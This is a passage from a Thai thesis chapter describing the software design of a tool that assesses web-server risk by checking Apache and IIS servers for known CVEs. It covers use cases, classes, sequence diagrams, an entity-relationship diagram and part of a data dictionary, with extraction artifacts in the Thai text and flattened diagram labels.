จุดบกพรองโดยระดับผลกระทบดังกลาวนี้ใชรวมกันทั้งผลกระทบทางดานการรักษาความลับ การ

บูรณภาพ และสภาพพรอมใชงาน โดยฟงกชันนี้ทําหนาที่ในการเพิ่ม ลบและแกไขขอมูลระดับ    

คาถวงน้ําหนักของความเสียหายที่เกิดขึ้น 

 

 
รูปที่ 4.2 แผนภาพยูสเคสแสดงฟงกชนัการทํางานของเครื่องมือ 

 

4.3.1.2 สวนจัดการขอมูลรายการจุดบกพรอง ขอมูลรายการจุดบกพรองเปน

ขอมูลพื้นฐานที่ใชในการประเมินความเสี่ยง ซึ่งวิทยานิพนธฉบับนี้ใชจุดบกพรองซวีอีีทีเ่กีย่วของกบั

อาปาเชและไอไอเอสเว็บเซิรฟเวอรเปนขอมูลในการประเมินความเสี่ยงของเว็บเซิรฟเวอร โดยใน

แตละรายการจุดบกพรองจะมีการกําหนดระดับผลกระทบจําแนกตามประเภทความเสียหายที่
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เกิดขึ้นไดแก การรักษาความลับ การบูรณภาพ และสภาพพรอมใชงาน ซึ่งระดับผลกระทบอางอิง

จากขอมูลในฟงกชันจัดการขอมูลระดับผลกระทบ สวนฟงกชันนี้ทําหนาที่เพิ่ม ลบ และแกไขขอมูล

รายการจุดบกพรองตามที่ผูใชงานตองการ 

4.3.1.3 สวนจัดการขอมูลรายการรองขอเพื่อใชตรวจสอบ รายการตรวจสอบเปน

รายการรองขอขอมูลเอชทีทีพีที่ใชสงการรองขอไปยังเว็บเซิรฟเวอรเพื่อตรวจสอบจุดบกพรองโดย

ในแตละจุดบกพรองจะมีจํานวนรายการตรวจสอบ และเมธอดที่ใชในการรองขอขอมูลแตกตางกัน

นอกจากรายการตรวจสอบจะใชในการตรวจสอบจุดบกพรองเพื่อคํานวณคาความเสี่ยงแลวยังใช

ในการจัดเก็บขอมูลคาความนาจะเปนอีกดวย โดยฟงกชันนี้ทําหนาที่ใหผูใชงานเพิ่ม ลบ และแกไข

รายการรองขอขอมูลเพื่อใชในการตรวจสอบจุดบกพรอง 

4.3.1.4 สวนจัดการขอมูลกลุมโฮสต ขอมูลกลุมโฮสตเปนขอมูลที่ใชในการแยก

โฮสตออกเปนกลุมๆ ทั้งนี้เพื่อจัดกลุมคาความนาจะเปนและคาความเสี่ยงในการเปรียบเทียบกับ

เว็บเซิรฟเวอรเปาหมาย โดยเบื้องตนผูวิจยัไดกําหนดกลุมของโฮสตตามชื่อโดเมนที่จดทะเบียนใน

ประเทศไทย ไดแก co.th in.th ac.th go.th mi.th และ or.th ซึ่งฟงกชันนี้ทําหนาที่ในการเพิ่ม ลบ 

และแกไขขอมูลกลุมของโฮสตตามที่ผูใชงานตองการ 

4.3.1.5 สวนจัดการขอมูลโฮสต ขอมูลโฮสตเปนขอมูลช่ือโฮสตหรือหมายเลขไอพี

ของเครื่องที่จะสงรายการรองขอขอมูลเพ่ือเก็บขอมูลมาคํานวณคาความนาจะเปนในการประเมิน

ความเสี่ยงของเว็บเซิรฟเวอรอ่ืนๆ ตอไป ทั้งนี้ผูใชงานตองกําหนดพอรตที่ใชในการรองขอขอมูล

ของแตละโฮสตไวดวย ซึ่งฟงกชันนี้ทําหนาที่ในการเพิ่ม ลบ และแกไขชื่อโฮสตหรือหมายเลขไอพี

และหมายเลขพอรตในการรองขอขอมูลตามที่ผูใชงานตองการ 

4.3.1.6 สวนจัดเก็บขอมูลเพื่อคํานวณคาความนาจะเปน ขอมูลผลการตอบสนอง

รายการรองขอขอมูลของแตละโฮสตจะถูกบันทึกอยูในฐานขอมูลของระบบเพื่อใชในการคํานวณ

คาความนาจะเปนและคาความเสี่ยงตอไป ทั้งนี้ฟงกชันนี้ทําหนาที่ในการสงรายการรองขอขอมูล

เพื่อตรวจสอบจดุบกพรองและรับผลการตอบสนองมาทําการบันทึกไวในฐานขอมูล 

4.3.1.7 สวนคํานวณคาความนาจะเปนและคาความเสี่ยง ในการประเมินความ

เสี่ยงนั้นจําเปนตองใชคาความนาจะเปนในการตรวจพบจุดบกพรองตางๆ เปนขอมูลในการ

คํานวณคาความเสี่ยงของเว็บเซิรฟเวอรเปาหมาย และคาความเสี่ยงของโฮสตที่เก็บคาไวเปน

ขอมูลในการเปรียบเทียบคาความเสี่ยง ทั้งนี้การคํานวณคาความเสี่ยงจะคํานวณจําแนกตาม

ประเภทความเสียหายโดยใชคาถวงน้ําหนักที่กําหนดไวในแตละจุดบกพรองในการคํานวณ ซึ่ง

ฟงกชันนี้ทําหนาที่คํานวณคาความนาจะเปนตามชวงเวลาที่ผูใชงานกําหนด ซึ่งในการคํานวณคา

ความนาจะเปนและคาความเสี่ยงนั้นผูใชงานสามารถเลือกคํานวณคาความนาจะเปนและคา

ความเสี่ยงแยกตามกลุมโฮสตหรือคํานวณจากโฮสตทุกกลุมรวมกันก็ได 
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4.3.1.8 สวนประเมินความเสี่ยงของเว็บเซิรฟเวอร เมื่อไดคาความนาจะเปนและ

คาความเสี่ยงพื้นฐานในการเปรียบเทียบแลว ผูใชงานสามารถทําการประเมินความเสี่ยงของเว็บ

เซิรฟเวอรตางๆ โดยเลือกคาความนาจะเปนที่จะใช เชนคาความนาจะเปนจากกลุมโฮสตในชวงวัน

เวลาตางๆ เปนตน โดยฟงกชันนี้จะทําการสงรายการรองขอขอมูลไปยังเว็บเซิรฟเวอรที่ตองการทํา

การประเมินความเสี่ยง และรับผลการตอบสนองกลับมาคํานวณคาความเสี่ยงใหผูใชงานตอไป 

4.3.1.9 สวนออกรายงาน เมื่อผูใชงานทําการประเมินความเสี่ยงของเว็บ

เซิรฟเวอรที่ตองการแลวสามารถออกรายงานในรูปแบบของเอกสารเอชทีเอ็มแอลเพื่อเก็บผลการ

ตรวจสอบไวใชอางอิงตอไปได โดยฟงกชันนี้ทําหนาที่สรางรายงานผลการตรวจสอบในรูปแบบของ

เอกสารเอชทีเอ็มแอล 

4.3.1.10 สวนจัดการขอมูลผูใชงาน ผูใชงานระบบสามารถเปลี่ยนรหัสผานในการ

เขาสูระบบได โดยใชฟงกชันจัดการขอมูลผูใชงานระบบนี้  

4.3.1.11 การเขาสูระบบ ฟงกชันการทํางานตางๆ ไดแก จัดการขอมูลระดับ

ผลกระทบ จัดการขอมูลรายการจุดบกพรอง จัดการขอมูลรายการรองขอเพื่อใชตรวจสอบ จัดการ

ขอมูลกลุมโฮสต จัดการขอมูลโฮสต จัดเก็บขอมูลเพื่อคํานวณคาความนาจะเปน และคํานวณคา

ความนาจะเปนและคาความเสี่ยง ในทุกฟงกชันการทํางานผูใชงานจะสามารถใชฟงกชันการ

ทํางานตางๆ โดยตองผานการตรวจสอบผูใชงานเพื่อเขาสูระบบกอน โดยฟงชันนี้ทําหนาที่ในการ

ตรวจสอบรหัสผานของผูใชงาน 

4.3.2 การวิเคราะห และออกแบบคลาสในระบบ 

จากฟงกชันการทํางานที่กําหนดไวผูวิจัยไดวิเคราะห และออกแบบคลาสของ

โปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอรไดคลาสตางๆ โดยสามารถนําเสนอไดใชแผนภาพ

คลาส (Class Diagram) ดังรูปที่ 4.3 และรายละเอียดของคลาสตางๆ ดังนี้ 

คลาส Http_Analysis เปนคลาสหลักที่ทําหนาที่ในการควบคุมการเริ่ม

การประเมินความเสี่ยงของเว็บเซิรฟเวอร นอกจากนั้นยังทําหนาที่ในการแสดงผลการประเมิน

ความเสี่ยงและควบคุมการสรางรายงานผลการประเมินความเสี่ยงอีกดวย 

คลาส Http_URL_Connection ทําหนาที่ในการตรวจสอบสถานะของ

เว็บเซิรฟเวอรวาเว็บเซิรฟเวอรที่ผูใชงานตองการทําการตรวจสอบนั้นสามารถติดตอกับโปรแกรมได

หรือไม เพื่อส่ังใหระบบเริ่มทําการสงรายการรองขอขอมูลเพื่อทําการตรวจสอบตอไป 

คลาส Request_Command เปนคลาสที่ทําหนาที่ในการสงรายการรอง

ขอขอมูลไปยังเว็บเซิรฟเวอรเพื่อตรวจสอบจุดบกพรองของเว็บเซิรฟเวอร โดยมีสวนที่ตองคํานึงถึง
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ในการสงรายการรองขอขอมูลไดแกรายการรองขอขอมูลและ เมธอดการทํางานของโปรโตคอลเอช

ทีทีพีในแตละรายการรองขอขอมูล 

คลาส Server เปนคลาสที่เก็บขอมูลของเว็บเซิรฟเวอรที่จะทําการเก็บ

ขอมูลเพื่อนํามาคํานวณคาความนาจะเปนโดยมีขอมูลหลักคือช่ือหรือหมายเลขไอพีของ          

เว็บเซิรฟเวอรและหมายเลขพอรตของเว็บเซิรฟเวอร 

คลาส Result ทําหนาที่แสดงผลการประเมินความเสี่ยงโดยทํางาน

รวมกับคลาส Report_HTML และคลาส Analysis_Display ซึ่งรายละเอียดของคลาสดังกลาวจะ

อธิบายตอไป 

คลาส User_Control ทําหนาที่ตรวจสอบสิทธิผูใชงานวาสามารถใชงาน

โปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอรไดหรือไม 

คลาส Response_Display ทําหนาที่แสดงผลการทดสอบการติดตอเพื่อ

สงขอมูลใหผูใชงานทราบถึงสถานะการติดตอระหวางโปรแกรมและเว็บเซิรฟเวอรเปาหมาย 

คลาส Report_HTML เปนคลาสที่ใชในการสรางรายงานผลการประเมิน

ความเสี่ยงของเว็บเซิรฟเวอรในรูปแบบของเอกสารเอชทีเอ็มแอล 

คลาส Analysis_Display ทําหนาที่แสดงผลการประเมินความเสี่ยง   

เว็บเซิรฟเวอรใหผูใชงานทราบ 

คลาส Menu_Manager เปนคลาสที่ทําหนาที่จัดการเมนูการทํางาน

ตางๆ ไดแก เมนูการเปลี่ยนรหัสผาน เมนูแสดงรายการจุดบกพรอง เมนูการจัดการจุดบกพรอง 

เมนูแสดงรายการผลกระทบ เมนูการจัดการรายการผลกระทบ เมนูแสดงรายการรองขอขอมูล เมนู

จัดการรายการรองขอขอมูล เมนูแสดงกลุมของโฮสต เมนูจัดการกลุมของโฮสต เมนูแสดงขอมูล

โฮสต เมนูจัดการขอมูลโฮสต เมนูจัดเก็บขอมูลเพื่อคํานวณคาความนาจะเปน และเมนูคํานวณคา

ความนาจะเปน 

คลาส Probability_Collect ทําหนาที่ในการจัดเก็บขอมูลเพ่ือใหผูใชงาน

ใชในการคํานวณคาความนาจะเปนตอไป 

คลาส Probability_Calculate ทําหนาที่คํานวณคาความนาจะเปนตาม

ชวงเวลาที่ผูใชงานกําหนด ทั้งนี้คาความนาจะเปนดังกลาวใชในการประเมินความเสี่ยงของเว็บ

เซิรฟเวอรเปาหมายตอไป 

คลาส User_Manager ทําหนาที่จัดการขอมูลผูใชงาน 

คลาส Host_manager ทําหนาที่จัดการขอมลูโฮสตที่ใชในการเก็บขอมูล

เพื่อคํานวณคาความนาจะเปน 
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คลาส HostGroup_Manager ทําหนาที่จัดการขอมูลกลุมของโฮสตที่ใช

ในการเก็บขอมูลเพื่อคํานวณคาความนาจะเปน ทั้งนี้เพื่อใหสามารถเก็บขอมูลของโฮสตเปนกลุม

ตามตองการได 

คลาส Impact_manager ทําหนาที่จัดการขอมูลระดับผลกระทบของ

จุดบกพรองโดยผูวิจัยไดทําการกําหนดระดับผลกระทบไว 3 ระดับคือระดับสูง ระดับปานกลาง 

และระดับตํ่า 

คลาส CVE_Manager ทําหนาที่ในการจัดการขอมูลจุดบกพรองที่ใชใน

การตรวจสอบเว็บเซิรฟเวอร ทั้งนี้จุดบกพรองดังกลาวตองอาศัยรายการรองขอขอมูลในการ

ตรวจสอบดวย ซึ่งงานวิจัยนี้ไดใชจุดบกพรองซีวีอีที่เกี่ยวของกับอาปาเชและไอไอเอสเว็บเซิรฟเวอร

รวม 33 จุดบกพรองดังแสดงในภาคผนวก ค 

คลาส Request_Manager ทําหนาที่จัดการรายการรองขอขอมูลเพื่อใช

ในการตรวจสอบจุดบกพรองตางๆ ซึ่งตองอาศัยผูมีประสบการณในการกําหนดรายการรองขอนี้ 

โดยงานวิจัยนี้ไดกําหนดรายการรองขอขอมูลเพื่อตรวจสอบจุดบกพรองของอาปาเชและไอไอเอส

เว็บเซิรฟเวอรดังแสดงในภาคผนวก ง 

คลาส DB_Manager เปนคลาสที่ทําหนาท่ีในการติดตอกับฐานขอมูล 

เรียกขอมูลจากฐานขอมูล ตลอดจนปรับเปลี่ยนขอมูลในฐานขอมูลตามที่ผูใชงานตองการอีกดวย 

4.3.3 การออกแบบขั้นตอนของการติดตอระหวางคลาสภายในระบบ 

เมื่อออกแบบคลาสที่ใชในโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอรแลว

ผูวิจัยไดทําการวิเคราะหและออกแบบขั้นตอนของการติดตอระหวางคลาสภายในโปรแกรมซึ่ง

สามารถอธิบายไดโดยแผนภาพซีเควนซ (Sequence Diagram) ดังแสดงในรูปที่ 4.4 ถึง 4.12 โดย

แผนภาพซีเควนซนั้นจะแสดงเฉพาะรายละเอียดในการติดตอระหวางสวนตางๆ ของโปรแกรม

เทานั้น รายละเอียดการใชงานของผูใชงานทั้งสวนของการติดตั้งโปรแกรมและการใชงานโปรแกรม

อธิบายในคูมือการติดตั้งโปรแกรมในภาคผนวก ฉ และคูมือการใชงานโปรแกรมในภาคผนวก ช 
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Analysis_Display
Vulnerability : String

ShowDisplay()

Report_HTML
PlainText : String
HTMLText : String

FileWriter()
FileReader()

java

DB_Manager

DB_Connected()
DB_Query()
DB_GetResult()
DB_ResultCount()javax

java.sql java.net

Result
StandardRiskC
StandardRiskI
StandardRiskA

HTML_Generate()

Response_Display
Vulnerability : String

ShowDisplay()

Http_Analysis
Dns : String
Port : String
RiskValue : Double
RiskValueC : Double
RiskValueI : Double
RiskValueA : Double

StartScan()
ReportGenerate()
Assessment()

Generate

Request_Command
Request : String

URL_Connection()
SetRequestMethod()

Http_URL_Connection
ConnectionTest : Boolean
URLTest

Connect()
getResponseCode()

Issue Request

Display

Start Assessment

Server
ServerName
ServerPort

Response_Answer()

Send CommandIssue Receive

User_Manager

CheckNewPassword()

CVE_ManagerImpact_Manager

Probability_Calculate

CalculateProbability()
CalculateRisk()

HostGroup_Manager

Host_Manager

User_Control
UserName : String
Password

Verify()
Cancle()

Activate

Probability_Collect

Start Collect

Save Receive

Menu_Manager
ManuUserChangePassword
MenuCVEShow
MenuCVEManagement
MenuImpactShow
MenuImpactManagement
MenuRequestShow
MenuRequestManagement
MenuHostGroupShow
MenuHostGroupManagement
MenuHostShow
MenuHostManagement
MenuProbailityCollect
MenuProbabilityCalculate

Menu_ActionAdapter()

Select

Request_Manager

 
 

รูปที่ 4.3 แผนภาพคลาสแสดงคลาสที่ใชในระบบประเมนิความเสี่ยงของเว็บเซิรฟเวอร 
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 : DB_Managerผูใชงาน a user : 
User_Control

Verify(ชื่อผูใชงาน,รหัสผาน)

ผลการล็อกอนิ

DB_Query( )
DB_GetResult( )

password

 
 

รูปที่ 4.4 แผนภาพซีเควนซแสดงขั้นตอนการเขาสูระบบ 

 

รูปที่ 4.5 แผนภาพซีเควนซแสดงขั้นตอนการจัดการขอมลูระดับผลกระทบ 

 

 

ผูใชงาน  : DB_Manager  : Menu_Manager  : Impact_Manager

Menu_ActionAdapter(MenuImpactManagement)
Display()

หนาจอจัดการขอมูลระดับผลกระทบ

ขอมูลระดบัผลกระทบที่ตองการเพิม่ แกไข หรือลบ

DB_Query( )

DB_GetResult( )

ขอมูลระดบัผลกระทบ
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การเขาสูระบบ 

รูปที่ 4.4 แสดงขั้นตอนการสูระบบโดยเริ่มที่ผูใชงานทําการตรวจสอบสิทธิการใช

งานโปรแกรมโดยการระบุชื่อผูใชงานและรหัสผาน โปรแกรมจะทําการเรียกขอมูลรหัสผานในระบบ

ของผูใชงานเพื่อตรวจสอบกับรหัสผานที่ผูใชงานระบุ และแสดงผลการตรวจสอบใหผูใชงานทราบ

ตอไป 

การจัดการขอมูลระดับผลกระทบ 

รูปที่ 4.5 แสดงขั้นตอนการจัดการขอมูลระดับผลกระทบโดยผูใชงานเลือกเมนู

จัดการขอมูลระดับผลกระทบ (MenuImpactManagement) โปรแกรมจะแสดงหนาจอจัดการ

ขอมูลระดับผลกระทบเพื่อใหผูใชงานทําการเพิ่ม แกไขหรือลบขอมูลระดับผลกระทบตามตองการ

ซึ่งโปรแกรมจะทําหนาที่ในการติดตอกับฐานขอมูลเพื่อเพิ่ม แกไข และลบขอมูลที่ผูใชงานตองการ

ในฐานขอมูลให 

 

ผูใชงาน  : DB_Manager  : Menu_Manager : CVE_Manager

Menu_ActionAdapter(MenuCVEManagement)

Display()หนาจอจัดการขอมูลจุดบกพรอง

ขอมูลจุดบกพรองที่ตองการเพิม่ แกไข หรือลบ

DB_Query( )

DB_GetResult( )

ขอมูลจุดบกพรอง

 

 
 

รูปที่ 4.6 แผนภาพซีเควนซแสดงขั้นตอนการจัดการขอมลูจุดบกพรอง 
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การจัดการขอมูลจุดบกพรอง 

รูปที่ 4.6 แสดงขั้นตอนการจัดการขอมูลจุดบกพรอง ซึ่งการจัดการขอมูล

จุดบกพรองนั้นผูใชงานตองทําการตรวจสอบสิทธิการใชงานกอนเชนเดียวกันกับการใชงานอื่นๆ 

จากนั้นใหผูใชงานเลือกเมนูจัดการขอมูลจุดบกพรอง (MenuCVEManagement) ซึ่งโปรแกรมจะ

แสดงหนาจอจัดการขอมูลจุดบกพรองใหแกผูใชงานเพื่อใหทําการเพิ่ม แกไข หรือลบขอมูล

จุดบกพรองตามตองการ 

 

ผูใชงาน  : DB_Managera user : 
User_Control

 : Menu_Manager  : Request_Manager

Menu_ActionAdapter(MenuRequestManagement)
Display()

หนาจอจัดการขอมูลรายการรองขอขอมูล

ขอมูลรายการรองขอขอมูลที่ตองการเพิม่ แกไข หรือลบ

DB_Query( )

DB_GetResult( )

ขอมูลรายการรองขอขอมูล

 
 

รูปที่ 4.7 แผนภาพซีเควนซแสดงขั้นตอนการจัดการขอมลูรายการรองขอขอมูล 

 

  การจัดการรายการรองขอขอมูล 

รูปที่ 4.7 แสดงขั้นตอนการจัดการรายการรองขอขอมูล ซึ่งสามารถอธิบายไดดังนี้ 

กอนที่ผูใชงานจะทําการเพิ่ม แกไข หรือลบ ขอมูลรายการรองขอขอมูลไดนั้นตองทําการตรวจสอบ

รหัสผานกอนจึงจะสามารถเขาสูหนาจอจัดการขอมูลรายการรองขอขอมูลไดโดยเลือกเมนูจัดการ

รายการรองขอขอมูล (MenuRequestManagement) จากนั้นโปรแกรมจะแสดงหนาจอเพื่อให

ผูใชงานเพิ่ม แกไข และลบรายการรองขอขอมูลเพื่อใชตรวจสอบจุดบกพรองตามตองการ 
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 : DB_Managerผูใชงาน a user : 
User_Control

 : Menu_Manager  : HostGroup_Manager

Menu_ActionAdapter(MenuHostGroupManagement)
Display()

หนาจอจัดการขอมูลกลุมโฮสต

ขอมูลกลุมโฮสตท่ีตองการเพ่ิม แกไข หรือลบ

DB_Query( )

DB_GetResult( )

ขอมูลกลุมโฮสต

 
 

รูปที่ 4.8 แผนภาพซีเควนซแสดงขั้นตอนการจัดการขอมลูกลุมโฮสต 

 

การจัดการขอมูลกลุมโฮสต 

รูปที่ 4.8 แสดงขั้นตอนการจัดการขอมูลกลุมโฮสตโดยการจัดการขอมูลกลุมโฮสต

นั้นผูใชงานตองทําการตรวจสอบรหัสผานกับทางระบบกอนเหมือนกับการจัดการขอมูลอ่ืนๆ 

เชนกัน จากนั้นใหผูใชงานเลือกเมนูจัดการขอมูลกลุมโฮสต (MenuHostGroupManagement) 

โปรแกรมจะแสดงหนาจอจัดการขอมูลกลุมโฮสตเพื่อใหผูใชงานเพิ่ม แกไข และลบขอมูลกลุม

โฮสตซึ่งโปรแกรมจะทําหนาที่ในการติดตอกับฐานขอมูลเพื่อดําเนินงานตามความตองการของ

ผูใชงาน 

การจัดการขอมูลโฮสต 

รูปที่ 4.9 แสดงขั้นตอนการจัดการขอมูลโฮสต กลาวคือการจัดการขอมูลโฮสตที่

ใชในการจัดเก็บขอมูลเพื่อคํานวณคาความนาจะเปนนั้น ตองทําการตรวจสอบผูใชงาน และเลือก

เมนูจัดการขอมูลโฮสต (MenuHostManagement) จะปรากฏหนาจอจัดการขอมูลโฮสตขึ้นเพื่อให

ผูใชงานทําการเพิ่ม แกไข และลบขอมูลของโฮสตตางๆ  
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 : Host_Manager : DB_Managerผูใชงาน a user : 
User_Control

 : Menu_Manager

Menu_ActionAdapter(MenuHostManagement)
Display()

หนาจอจัดการขอมูลโฮสต

ขอมูลโฮสตท่ีตองการเพ่ิม แกไข หรือลบ

DB_Query( )

DB_GetResult( )

ขอมูลโฮสต

 
 

รูปที่ 4.9 แผนภาพซีเควนซแสดงขั้นตอนการจัดการขอมลูโฮสต 

 

การจัดเก็บขอมูลเพื่อคํานวณคาความนาจะเปนและคาความเสี่ยง 

รูปที่ 4.10 แสดงขั้นตอนการจัดเก็บขอมูลเพื่อคํานวณคาความนาจะเปนและคา

ความเสี่ยงเมื่อผูใชงานผานการตรวจสอบสิทธิแลวใหเลือกเมนูจัดเก็บขอมูลเพื่อคํานวณคาความ

นาจะเปน (MenuProbabilityCollectManagement) จะปรากฏหนาจอเกบ็ขอมูลเพื่อคํานวณคา

ความนาจะเปนขึ้นใหผูใชงานเลือกโฮสตหรือกลุมโฮสตที่ตองการจัดเก็บขอมูล จากนั้นโปรแกรมจะ

ทําการสงรายการรองขอขอมูลไปยังโฮสตตางๆ และรับผลการตอบสนองมาบันทึกไวในฐานขอมูล

เพื่อใชในการคํานวณคาความนาจะเปนและคาความเสี่ยงตอไป 
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ผูใชงาน  : DB_Manager  : Menu_Manager  : Probability_Collect  : Http_URL_Connection  : Server

Menu_ActionAdapter(MenuProbabilityCollectManagement)

Display()

หนาจอเก็บขอมูลเพือ่คํานวณคาความนาจะเปน

โฮสตที่ตองการเก็บขอมูล หรือกลุมโฮสตที่ตองการเก็บขอมูล

DB_Query( )

DB_GetResult( )

ชื่อโฮสต
Connect( )

Response_Answer( )

getResponseCode( )

ผลการตอบสนอง

DB_Query( )

สถานะการเก็บขอมูล

 
รูปที่ 4.10 แผนภาพซเีควนซแสดงขั้นตอนการจัดเก็บขอมูลเพื่อคํานวณคาความนาจะเปนและคาความเสีย่ง
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ผูใชงาน  : DB_Manager  : Menu_Manager  : Probability_Calculate

Menu_ActionAdapter(MenuProbabilityCalculateManagement)
Display()

หนาจอคํานวณคาความนาจะเปน

กลุมโฮสต และ ชวงเวลาของขอมูลท่ีจะนํามาคํานวณ

CalculateProbability( )

DB_Query( )

DB_GetResult( )

ผลการตอบสนอง

CalculateRisk( )

DB_Query( )

สถานะการคํานวณ

 
 

รูปที่ 4.11 แผนภาพซเีควนซแสดงขั้นตอนการคํานวณคาความนาจะเปนและคาความเสี่ยง 

การคํานวณคาความนาจะเปนและคาความเสี่ยง 

รูปที่ 4.11 แสดงการคํานวณคาความนาจะเปนและคาความเสี่ยง กลาวคือเมื่อ

ผูใชงานผานการตรวจสอบสิทธิการใชงานของโปรแกรมแลวใหเลือกเมนูคํานวณคาความนาจะ

เปน (MenuProbabilityCalculateManagement) จะปรากฏหนาจอคํานวณคาความนาจะเปนขึ้น

ใหผูใชงานเลือกกลุมโฮสต และวันเวลาของชวงขอมูลที่ตองการนํามาคํานวณคาความนาจะเปน 

ทั้งนี้คาความนาจะเปนที่คํานวณไดนั้นเพื่อใชในการประเมินความเสี่ยงของเว็บเซิรฟเวอร

เปาหมายตอไป 
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ผูใชงาน  : Http_Analysis  : Http_URL_Connection  : Request_Command  : Server  : Analysis_Display  : Report_HTML : DB_Manager

StartScan(คาความนาจะเปนที่จะใชในการประเมิน)
Connect(ชื่อโฮสต,หมายเลขพอรต)

Response_Answer( )

getResponseCode( )

URL_Connection( )

Response_Answer( )

getResponseCode( )

SetRequestMethod( )

ReportGenerate( )

ShowDisplay( )

HTML_Generate( )

DB_Query( )

request_list

DB_GetResult( )

รายงานผลการตรวจสอบรูปแบบเอชทีเอม็แอล

FileWriter( )

Assessment( )

DB_Query( )
DB_GetResult( )

คาความนาจะเปน

ShowDisplay( )

ผลการประเมินความเสี่ยง

 
รูปที่ 4.12 แผนภาพซเีควนซแสดงขั้นตอนการประเมนิความเสีย่งของเว็บเซิรฟเวอร
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การประเมินความเสี่ยงของเว็บเซิรฟเวอร 

รูปที่ 4.12 แสดงขั้นตอนการประเมินความเสี่ยงของเว็บเซิรฟเวอรโดยเมื่อผูใชงาน

ผานการตรวจสอบรหัสผานแลวโปรแกรมจะเขาสูหนาจอหลักคือหนาจอการประเมินความเสี่ยง

โดยทันที จากนั้นใหผูใชงานระบุโฮสตคาความนาจะเปนที่ใชเปนขอมูลในการคํานวณคาความ

เสี่ยงเพื่อเร่ิมการประเมินความเสี่ยงของเว็บเซิรฟเวอรเปาหมาย โดยโปรแกรมจะทําการตรวจสอบ

โฮสตดังกลาววาใหบริการเว็บเซิรฟเวอรหรือไม จากนั้นจึงทําการสงรายการรองขอขอมูลเพื่อ

ตรวจสอบจุดบกพรองพรอมทั้งแสดงผลการตรวจสอบใหผูใชงานทราบและเมื่อทําการตรวจสอบ

เสร็จแลวโปรแกรมจะคํานวณคาความเสี่ยงของเว็บเซิรฟเวอรใหในทันที นอกจากนั้นหากผูใชงาน

ตองการรายงานในรูปแบบของเอกสารเอชทีเอ็มแอล โปรแกรมก็สนับสนุนการสรางรายงานผลการ

ประเมินความเสี่ยงของเว็บเซิรฟเวอรเปาหมายในรูปแบบของเอกสารเอชทีเอ็มแอลใหกับผูใชงาน

ไดอีกดวย 

4.3.4 การวเิคราะหและออกแบบฐานขอมลู 

การวิเคราะหและออกแบบฐานขอมูลที่ใชในระบบสามารถนําเสนอไดโดยใช

แผนภาพอีอาร (Entity Relationship Diagram : ER) ดังภาพที่ 4.13 ซึ่งแสดงความสัมพันธของ

ขอมูลในโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอรโดยมีรายละเอียดความสัมพันธดังนี้ 

ตารางกลุมโฮสตมีความสัมพันธกับตารางโฮสตแบบหนึ่งตอเอ็น (1:N) กลาวคือ

กลุมโฮสตหนึ่งกลุมสามารถมีโฮสตไดมากกวาหนึ่งโฮสตในกลุมนั้น 

ตารางผลกระทบมีความสัมพันธกับตารางซีวีอีแบบหนึ่งตอเอ็น (1:N) กลาวคือ

ผลกระทบระดับหนึ่งสามารถมีจุดบกพรองซีวีอีที่สงผลกระทบในระดับนั้นๆ ไดมากกวาหนึ่งซีวีอี 

ตารางซีวีอีมีความสัมพันธตารางรายการรองขอขอมูลแบบหนึ่งตอเอ็น (1:N) 

หมายถึงจุดบกพรองซีวีอีใดๆ สามารถมีรายการรองขอขอมูลเพื่อใชตรวจสอบจุดบกพรองนั้นได

มากกวาหนึ่งรายการรองขอขอมูล 

ตารางรายการรองขอขอมูลมีความสัมพันธกับการจัดเก็บขอมูลซ่ึงบันทึกใน

ตารางที่สรางจากชื่อโฮสตและวันเวลาแบบหนึ่งตอหนึ่ง (1:1) กลาวคือผลการตอบสนองของ

รายการรองขอขอมูลใดๆ ในการตรวจสอบแตละครั้งมีไดเพียงผลการตอบสนองเดียวเทานั้น 

ตารางที่สรางจากชื่อโฮสตและวันเวลามีความสัมพันธกับตารางแฮชแบบหนึ่งตอ

หนึ่ง (1:1) หมายถึงตารางที่เก็บขอมูลการตรวจสอบจุดบกพรองของโฮสตในเวลาใดเวลาหนึ่งจะมี

คาแฮชเพื่อใชคนหาตารางนั้นไดเพียงหนึ่งรายการเทานั้น 
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 ตารางที่สรางจากชื่อกลุมและวันเวลาเปนตารางที่ใชจัดเก็บคาความนาจะเปน

ของกลุมโฮสตใดๆ มีความสัมพันธกับตารางแฮชของกลุมของคาความนาจะเปนที่ใชในการคนหา

คาความนาจะเปนของกลุมโฮสตตามชวงเวลาตางๆ แบบหนึ่งตอหนึ่ง (1:1) หมายถึงคาแฮชที่ใช

ในการคนหาตารางคาความนาจะเปนของแตละกลุมโฮสตในชวงเวลาใดจะมีคาแฮชไดเพียงคา

เดียวเทานั้น 

 
 

ซีวีอี

รายการรองขอขอมูล

ผลกระทบกลุมโฮสต

โฮสต

แฮช

ท้ังหมด + วันเวลา

ช่ือกลุม + 
วันเวลา

มี
10..n

ทดสอบ

1

0..n

อยูใน

1

0..n

ช่ือโฮสต + วันเวลา

ตรวจสอบ

1

0..n

จัดเก็บ

1

0..1

บันทึก
1 1

คํานวณ
คํานวณแบบ

กลุม

1

0..n

1

0..n

แฮชของ
คาความนาจะเปน

แฮชของกลุม
ของคาความนาจะเปน

บันทึก
1 1

บันทึก
1 1

 
 

 

รูปที่ 4.13 แผนภาพอีอารแสดงความสมัพันธของขอมลู 

 

ตารางทั้งหมดและวันเวลาเปนตารางที่สรางเมื่อมีการคํานวณคาความนาจะเปน

จากโฮสตทั้งหมดในชวงเวลาตางๆ มีความสัมพันธกับตารางแฮชของคาความนาจะเปนที่เก็บคา

แฮชเพื่อใชในการคนหาคาความนาจะเปนของโฮสตทั้งหมดแบบหนึ่งตอหนึ่ง (1:1) หมายถึงคา
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แฮชที่ใชในการคนหาตารางคาความนาจะเปนของโฮสตทั้งหมดในชวงเวลาใดๆ จะมีคาแฮชได

เพียงคาเดียวเทานั้น 

รายละเอียดของแตละตารางแสดงในพจนานุกรมขอมูล (Data Dictionary) ไดดัง

ตารางที่ 4.1 ถึงตารางที่ 4.8 

 

ตารางที่ 4.1 พจนานกุรมขอมูลของตารางซีวีอี 
ชื่อตาราง : ซีวอีี 

คําอธิบาย : เก็บขอมูลจุดบกพรองที่ใชในการตรวจสอบ 

ชื่อสดมภ ชนิด คําอธิบาย 

Cvename Text (15) หมายเลขจุดบกพรอง 

Cvedescription Text (255) รายละเอียดของจุดบกพรอง 

Cveimpactc Number ระดับผลกระทบตอการรักษาความลับ 

